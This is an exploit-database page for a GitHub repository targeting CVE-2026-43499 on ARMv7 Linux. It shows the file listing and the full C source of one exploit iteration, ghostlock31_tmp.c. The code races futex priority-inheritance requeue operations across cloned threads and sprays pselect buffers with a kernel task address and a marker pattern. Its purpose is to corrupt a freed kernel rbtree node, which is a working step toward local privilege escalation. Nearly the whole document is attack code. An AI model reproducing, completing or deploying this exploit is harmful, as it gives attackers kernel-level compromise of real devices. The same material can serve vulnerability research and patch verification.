Exploit databaseDownload repository ZIP
GH-84a2584893aa73cb0829550f9c55b3e1
tc3650/cve-2026-43499-armv7
Sources for CVE-2026-43499
168 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files70
tc3650/cve-2026-43499-armv7Revision 40f7649b000a
- ↑..Parent directory
- dirtyclone_exploit.c
- dirtyclone_pipe_probe.c
- dirtyclone_surface.c
- dirtyclone_tcp_probe.c
- g62_6iov.c
- g62_8e.c
- g62_8iov.c
- g62_pispray.c
- g62_rand.c
- g62_scan.c
- g62_self.c
- ghostlock.c
- ghostlock10.c
- ghostlock11.c
- ghostlock12.c
- ghostlock13.c
- ghostlock14.c
- ghostlock15.c
- ghostlock16.c
- ghostlock17.c
- ghostlock18.c
- ghostlock19.c
- ghostlock2.c
- ghostlock20.c
- ghostlock21.c
- ghostlock22.c
- ghostlock23.c
- ghostlock24.c
- ghostlock25.c
- ghostlock26.c
- ghostlock27.c
- ghostlock28.c
- ghostlock29.c
- ghostlock3.c
- ghostlock30.c
- ghostlock31.c
- ghostlock31_tmp.c
- ghostlock32.c
- ghostlock33.c
- ghostlock4.c
- ghostlock5.c
- ghostlock6.c
- ghostlock63.c
- ghostlock64.c
- ghostlock8.c
- ghostlock9.c
- ghostlock_all.sh
- ghostlock_check.sh
- ghostlock_root.c
- gl_pselect.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/ghostlock31_tmp.c
C · 6,500 bytes/*
* ghostlock31.c - Parametric offset sweep (8 offsets, select via global)
* Pattern: ALL-INIT_TASK + RED_BIT at offset to force rb_erase crash.
* red pattern: 0x41414141 at rb_parent_color positions.
* Change OFFSET_IDX (0-7) and re-run to test different alignments.
*/
#define OFFSET_IDX 7 /* CHANGE THIS: 0-7, each shifts pattern by 1 word */
#define NULL ((void*)0)
typedef unsigned int uint32_t;typedef int int32_t;typedef long long int64_t;
#define __NR_exit 1
#define __NR_write 4
#define __NR_openat 322
#define __NR_close 6
#define __NR_clone 120
#define __NR_gettid 224
#define __NR_nanosleep 162
#define __NR_clock_gettime 263
#define __NR_pselect6 335
#define __NR_futex_time64 422
#define FLPI (6|128)
#define FUPI (7|128)
#define FWRQ (11|128)
#define FCRQ (12|128)
#define STACK_SIZE 65536
#define INIT_TASK 0xC0909280UL
#define RED_PAT 0x41414141UL /* bit 0=1 (red node) + recognizable pattern */
#define AT_FDCWD -100
struct ts64 { int64_t tv_sec; int64_t tv_nsec; };
struct ts32 { int32_t tv_sec; int32_t tv_nsec; };
static unsigned char __attribute__((aligned(64))) stack_o[STACK_SIZE],stack_w[STACK_SIZE],stack_c[STACK_SIZE];
static uint32_t f_wait __attribute__((aligned(64)))=0,f_target __attribute__((aligned(64)))=0,f_chain __attribute__((aligned(64)))=0;
static volatile int o_ready=0,w_ready=0,o_blocking=0,w_go=0;
static volatile int pselect_active=0,do_lock=0;
static volatile long lock_result=0,lock_errno=0;
static int last_errno=0;
static unsigned long prebuilt_fdset[24];
static int prebuilt_nullfd=-1;
static inline long _s6(long n,long a0,long a1,long a2,long a3,long a4,long a5){
register long r0 asm("r0")=a0,r1 asm("r1")=a1,r2 asm("r2")=a2,r3 asm("r3")=a3,r4 asm("r4")=a4,r5 asm("r5")=a5,r7 asm("r7")=n;
asm volatile("svc #0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory");
if(r0<0&&r0>-4096)last_errno=(int)(-r0);else last_errno=0;return r0;
}
#define SYS0(n) _s6((n),0,0,0,0,0,0)
#define SYS3(n,a,b,c) _s6((n),(a),(b),(c),0,0,0)
#define SYS6(n,a0,a1,a2,a3,a4,a5) _s6((n),(a0),(a1),(a2),(a3),(a4),(a5))
static long clone_full(int(*fn)(void*),void*stk,int fl,void*arg,void*tls,int*ctid){
unsigned long*sp=(unsigned long*)((unsigned long)stk&~7UL);
*--sp=(unsigned long)arg;*--sp=(unsigned long)fn;
register long r0 asm("r0")=fl,r1 asm("r1")=(long)sp,r2 asm("r2")=0,r3 asm("r3")=(long)tls,r4 asm("r4")=(long)ctid,r7 asm("r7")=__NR_clone;
asm volatile("svc #0\n\tcmp r0,#0\n\tbne 1f\n\tpop {r1,r2}\n\tmov r0,r2\n\tblx r1\n\tmov r7,#1\n\tsvc #0\n\t1:\n\t":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r7):"r5","lr","memory");
return r0;
}
static void pstr(const char*s){int n=0;while(s[n])n++;SYS3(__NR_write,1,(long)s,n);}
static void pint(unsigned long v){
char b[12];int i=0;
do{b[i++]='0'+(int)(v%10);v/=10;}while(v);
{int j;for(j=0;j<i/2;j++){char x=b[j];b[j]=b[i-1-j];b[i-1-j]=x;}}
b[i++]='\n';SYS3(__NR_write,1,(long)b,i);
}
static void plbl(const char*l,long v){pstr(l);pint((unsigned long)v);}
static void nsleep_ms(long ms){struct ts32 ts={(int32_t)(ms/1000),(int32_t)((ms%1000)*1000000)};SYS3(__NR_nanosleep,(long)&ts,0,0);}
void raise(void){}
static int thread_consumer(void*arg){
(void)arg;
while(!do_lock);
lock_result=SYS6(__NR_futex_time64,(long)&f_chain,FLPI,0,0,0,0);
lock_errno=last_errno;
return 0;
}
static int thread_owner(void*arg){
(void)arg;
f_target=(uint32_t)SYS0(__NR_gettid);
o_ready=1;while(!w_ready);
o_blocking=1;
SYS6(__NR_futex_time64,(long)&f_chain,FLPI,0,0,0,0);
SYS6(__NR_futex_time64,(long)&f_chain,FUPI,0,0,0,0);
return 0;
}
static int thread_waiter(void*arg){
(void)arg;
uint32_t tid=(uint32_t)SYS0(__NR_gettid);
while(!o_ready);
f_chain=tid;w_ready=1;
while(!o_blocking);
{volatile int x;for(x=0;x<5000;x++);}
struct ts32 now32;SYS3(__NR_clock_gettime,1,(long)&now32,0);
struct ts64 abs;abs.tv_sec=(int64_t)now32.tv_sec+8;abs.tv_nsec=now32.tv_nsec;
w_go=1;
long fwrq_r=SYS6(__NR_futex_time64,(long)&f_wait,FWRQ,0,(long)&abs,(long)&f_target,0);
pselect_active=1;
struct ts64 pt;pt.tv_sec=5;pt.tv_nsec=0;
long psel_r=SYS6(__NR_pselect6,64,(long)prebuilt_fdset,(long)(prebuilt_fdset+8),(long)(prebuilt_fdset+16),(long)&pt,0);
pselect_active=0;
SYS6(__NR_futex_time64,(long)&f_chain,FUPI,0,0,0,0);
if(prebuilt_nullfd>=0)SYS3(__NR_close,prebuilt_nullfd,0,0);
return 0;
}
void _start(void){
pstr("=== ghostlock31 offset=");pint(OFFSET_IDX);pstr(" ===\n");
/* Pattern: fill with INIT_TASK, then sprinkle RED_PAT at aligned positions.
Freed waiter fields: offset 0,4,8,12,16,20,24,28,32 bytes = words 0-8.
We put RED_PAT at word OFFSET_IDX (rb_parent_color after shift).
For lock field (offset 0x1C=28 bytes=word 7): always INIT_TASK.
For task field (offset 0x18=24 bytes=word 6): always INIT_TASK. */
for(int i=0;i<24;i++)prebuilt_fdset[i]=INIT_TASK;
prebuilt_fdset[OFFSET_IDX+0]=RED_PAT; /* rb_parent_color after shift */
prebuilt_fdset[OFFSET_IDX+3]=RED_PAT; /* pi_parent_color after shift */
prebuilt_nullfd=(int)SYS6(__NR_openat,AT_FDCWD,(long)"/dev/null",0,0,0,0);
if(prebuilt_nullfd>=0){int w=prebuilt_nullfd/32;prebuilt_fdset[w]|=(1UL<<(prebuilt_nullfd%32));}
static unsigned char tls[96]__attribute__((aligned(8)));
int ctid=0,fl=0x00000100|0x00000200|0x00000400|0x00000800|0x00010000|0x00040000|0x00080000|0x00100000|0x00200000;
f_wait=0;f_target=0;f_chain=0;
o_ready=0;w_ready=0;o_blocking=0;w_go=0;pselect_active=0;do_lock=0;
lock_result=0;lock_errno=0;last_errno=0;
clone_full(thread_owner,(void*)((unsigned long)stack_o+STACK_SIZE),fl,0,tls,&ctid);
clone_full(thread_waiter,(void*)((unsigned long)stack_w+STACK_SIZE),fl,0,tls+32,&ctid);
clone_full(thread_consumer,(void*)((unsigned long)stack_c+STACK_SIZE),fl,0,tls+64,&ctid);
while(!w_go);
{volatile int y;for(y=0;y<30000;y++);}
pstr("[m] FCRQ\n");
long ret=SYS6(__NR_futex_time64,(long)&f_wait,FCRQ,1,(long)(void*)1,(long)&f_target,0);
int se=last_errno;
plbl("[m] ret=",ret);plbl("[m] err=",se);
if(se==35){
pstr("[!] EDEADLK!\n");
while(!pselect_active);
nsleep_ms(20); /* 20ms delay - ensure pselect entered */
do_lock=1;
pstr("[m] fired\n");
nsleep_ms(12000);
}
plbl("[c] result=",lock_result);plbl("[c] errno=",lock_errno);
pstr("[*] alive\n");
SYS3(__NR_exit,0,0,0);
}